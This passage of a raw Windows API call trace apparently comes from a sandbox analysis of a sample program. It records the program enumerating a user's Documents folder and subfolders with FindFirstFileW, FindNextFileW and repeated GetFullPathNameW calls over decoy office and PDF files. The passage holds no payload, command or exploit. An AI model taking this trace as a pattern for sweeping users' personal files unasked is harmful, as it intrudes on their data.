ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.266] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda4c0f0, ftCreationTime.dwHighDateTime=0x1d5e034, ftLastAccessTime.dwLowDateTime=0xc7828810, ftLastAccessTime.dwHighDateTime=0x1d5dbe2, ftLastWriteTime.dwLowDateTime=0xc7828810, ftLastWriteTime.dwHighDateTime=0x1d5dbe2, nFileSizeHigh=0x0, nFileSizeLow=0x17465, dwReserved0=0x0, dwReserved1=0x0, cFileName="--A7.pps", cAlternateFileName="")) returned 1 [0080.266] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170e020, ftCreationTime.dwHighDateTime=0x1d5e0fd, ftLastAccessTime.dwLowDateTime=0x2f9cf530, ftLastAccessTime.dwHighDateTime=0x1d5deda, ftLastWriteTime.dwLowDateTime=0x2f9cf530, ftLastWriteTime.dwHighDateTime=0x1d5deda, nFileSizeHigh=0x0, nFileSizeLow=0xbdeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCIllNEwNXweewLiOYv.xlsx", cAlternateFileName="OCILLN~1.XLS")) returned 1 [0080.266] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_QLeK", cAlternateFileName="")) returned 1 [0080.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0080.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\", lpFilePart=0x0) returned 0x34 [0080.269] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.269] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe8db0, ftCreationTime.dwHighDateTime=0x1d5e043, ftLastAccessTime.dwLowDateTime=0xc6892190, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0xc6892190, ftLastWriteTime.dwHighDateTime=0x1d5d9ed, nFileSizeHigh=0x0, nFileSizeLow=0x297d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEEAQcnC.docx", cAlternateFileName="EEEAQC~1.DOC")) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ccab10, ftCreationTime.dwHighDateTime=0x1d5dc89, ftLastAccessTime.dwLowDateTime=0x5519a030, ftLastAccessTime.dwHighDateTime=0x1d5dd07, ftLastWriteTime.dwLowDateTime=0x5519a030, ftLastWriteTime.dwHighDateTime=0x1d5dd07, nFileSizeHigh=0x0, nFileSizeLow=0xd1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pRWD5h4dVW2KX1kNly.xlsx", cAlternateFileName="PRWD5H~1.XLS")) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b1bb40, ftCreationTime.dwHighDateTime=0x1d5da8a, ftLastAccessTime.dwLowDateTime=0x842122e0, ftLastAccessTime.dwHighDateTime=0x1d5ddde, ftLastWriteTime.dwLowDateTime=0x842122e0, ftLastWriteTime.dwHighDateTime=0x1d5ddde, nFileSizeHigh=0x0, nFileSizeLow=0x1854d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zsHZimv.ods", cAlternateFileName="")) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fefa0, ftCreationTime.dwHighDateTime=0x1d5dcac, ftLastAccessTime.dwLowDateTime=0xfbef31a0, ftLastAccessTime.dwHighDateTime=0x1d5e355, ftLastWriteTime.dwLowDateTime=0xfbef31a0, ftLastWriteTime.dwHighDateTime=0x1d5e355, nFileSizeHigh=0x0, nFileSizeLow=0x8e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUS6VJ7o_PHI8AIIP0P.pdf", cAlternateFileName="ZUS6VJ~1.PDF")) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fefa0, ftCreationTime.dwHighDateTime=0x1d5dcac, ftLastAccessTime.dwLowDateTime=0xfbef31a0, ftLastAccessTime.dwHighDateTime=0x1d5e355, ftLastWriteTime.dwLowDateTime=0xfbef31a0, ftLastWriteTime.dwHighDateTime=0x1d5e355, nFileSizeHigh=0x0, nFileSizeLow=0x8e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUS6VJ7o_PHI8AIIP0P.pdf", cAlternateFileName="ZUS6VJ~1.PDF")) returned 0 [0080.271] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.271] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.271] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.271] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee5580, ftCreationTime.dwHighDateTime=0x1d58362, ftLastAccessTime.dwLowDateTime=0x4d723de0, ftLastAccessTime.dwHighDateTime=0x1d5c409, ftLastWriteTime.dwLowDateTime=0x4d723de0, ftLastWriteTime.dwHighDateTime=0x1d5c409, nFileSizeHigh=0x0, nFileSizeLow=0x15f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPRCY1SvE.docx", cAlternateFileName="CPRCY1~1.DOC")) returned 1 [0080.271] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.272] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68276d0, ftCreationTime.dwHighDateTime=0x1d57a59, ftLastAccessTime.dwLowDateTime=0x352c19b0, ftLastAccessTime.dwHighDateTime=0x1d5d609, ftLastWriteTime.dwLowDateTime=0x352c19b0, ftLastWriteTime.dwHighDateTime=0x1d5d609, nFileSizeHigh=0x0, nFileSizeLow=0xc373, dwReserved0=0x0, dwReserved1=0x0, cFileName="gWwRL91loDF05.pptx", cAlternateFileName="GWWRL9~1.PPT")) returned 1 [0080.272] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5794a750, ftCreationTime.dwHighDateTime=0x1d5db0f, ftLastAccessTime.dwLowDateTime=0x2923c550, ftLastAccessTime.dwHighDateTime=0x1d5ded8, ftLastWriteTime.dwLowDateTime=0x2923c550, ftLastWriteTime.dwHighDateTime=0x1d5ded8, nFileSizeHigh=0x0, nFileSizeLow=0x2abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="haMKT.doc", cAlternateFileName="")) returned 1 [0080.273] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7362c00, ftCreationTime.dwHighDateTime=0x1d5ce43, ftLastAccessTime.dwLowDateTime=0x8ebd6b90, ftLastAccessTime.dwHighDateTime=0x1d5a103, ftLastWriteTime.dwLowDateTime=0x8ebd6b90, ftLastWriteTime.dwHighDateTime=0x1d5a103, nFileSizeHigh=0x0, nFileSizeLow=0x61cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="hylpv.xlsx", cAlternateFileName="HYLPV~1.XLS")) returned 1 [0080.273] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x275c9b50, ftCreationTime.dwHighDateTime=0x1d55cee, ftLastAccessTime.dwLowDateTime=0xb02a4d30, ftLastAccessTime.dwHighDateTime=0x1d57ecf, ftLastWriteTime.dwLowDateTime=0xb02a4d30, ftLastWriteTime.dwHighDateTime=0x1d57ecf, nFileSizeHigh=0x0, nFileSizeLow=0x17d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImpvjCeG6H.pptx", cAlternateFileName="IMPVJC~1.PPT")) returned 1 [0080.273] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2720d610, ftCreationTime.dwHighDateTime=0x1d5dfac, ftLastAccessTime.dwLowDateTime=0x4f89bb10, ftLastAccessTime.dwHighDateTime=0x1d5d874, ftLastWriteTime.dwLowDateTime=0x4f89bb10, ftLastWriteTime.dwHighDateTime=0x1d5d874, nFileSizeHigh=0x0, nFileSizeLow=0x6a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kx3ga8HpCwP1fTGA3O.ots", cAlternateFileName="KX3GA8~1.OTS")) returned 1 [0080.273] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a87b600, ftCreationTime.dwHighDateTime=0x1d5c175, ftLastAccessTime.dwLowDateTime=0x11538f80, ftLastAccessTime.dwHighDateTime=0x1d57b1b, ftLastWriteTime.dwLowDateTime=0x11538f80, ftLastWriteTime.dwHighDateTime=0x1d57b1b, nFileSizeHigh=0x0, nFileSizeLow=0x11a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlLwY2J.pptx", cAlternateFileName="MLLWY2~1.PPT")) returned 1 [0080.273] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0080.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", 